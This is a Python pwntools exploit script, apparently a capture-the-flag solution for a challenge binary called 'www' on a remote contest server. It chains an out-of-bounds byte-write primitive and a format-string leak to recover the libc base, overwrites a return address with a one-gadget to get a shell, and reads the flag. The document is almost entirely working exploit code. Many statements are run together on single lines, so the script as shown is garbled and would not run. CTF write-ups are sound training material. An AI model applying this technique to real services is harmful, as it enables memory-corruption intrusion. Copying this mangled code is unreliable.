```python
from pwn import *
def write(anything, anywhere):
	p.sendline(str(anywhere + 0))	p.sendline(chr((anything & 0xff) >> 0))
	p.sendline(str(anywhere + 1))	p.sendline(chr((anything & 0xff00) >> 8))
	p.sendline(str(anywhere + 2))	p.sendline(chr((anything & 0xff0000) >> 16))
	p.sendline(str(anywhere + 3))	p.sendline(chr((anything & 0xff000000) >> 24))
	p.sendline(str(anywhere + 4))	p.sendline(chr((anything & 0xff00000000) >> 32))
	p.sendline(str(anywhere + 5))	p.sendline(chr((anything & 0xff0000000000) >> 40))
	p.sendline(str(anywhere + 6))	p.sendline(chr((anything & 0xff000000000000) >> 48))
	p.sendline(str(anywhere + 7))	p.sendline(chr((anything & 0xff00000000000000) >> 56))
p = remote('challenges1.hexionteam.com', 3002)
# context.terminal = ["tmux", "splitw", "-h"]# p = gdb.debug('./www', env={'LD_PRELOAD' : './libc'})
printf = 0x601020main = 0x400778ret = 0x40056e
p.sendline('-7')p.sendline('\xff')
p.sendline('0')p.sendline('%')
p.sendline('1')p.sendline('2')
p.sendline('2')p.sendline('9')
p.sendline('3')p.sendline('$')
p.sendline('4')p.sendline('p')
write(ret, 45)write(main, 53)
p.sendline('-7')p.sendline('\x00')
data = p.recvuntil('!')
libc_base = int(data.split()[0], 16) - 0x401733gadget = libc_base + 0x4f2c5
log.info('libc_base: %s' % hex(libc_base))log.info('gadget: %s' % hex(gadget))
p.sendline('-7')p.sendline('\xff')
write(gadget, 45)
p.sendline('-7')p.sendline('\x00')
p.recvuntil('!')
p.sendline('cat flag')
print p.recvline().split()[0]```